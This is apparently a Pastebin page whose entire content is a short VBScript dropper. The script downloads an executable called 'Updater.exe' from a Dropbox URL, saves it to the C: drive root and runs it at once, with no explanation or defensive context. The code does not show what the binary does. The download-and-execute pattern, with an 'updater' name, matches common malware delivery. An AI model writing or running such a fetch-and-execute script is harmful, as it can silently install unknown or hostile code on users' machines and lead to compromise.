Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
- dim bStrm: Set bStrm = createobject("Adodb.Stream")
- xHttp.Open "GET", "https://dl.dropboxusercontent.com/u/110727412/Updater.exe", False
- xHttp.Send
- with bStrm
- .type = 1 '//binary
- .open
- .write xHttp.responseBody
- .savetofile "c:\updater.exe", 2 '//overwrite
- end with
- Dim objShell
- Set objShell = WScript.CreateObject( "WScript.Shell" )
- objShell.Run("""c:\updater.exe""")
- Set objShell = Nothing
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement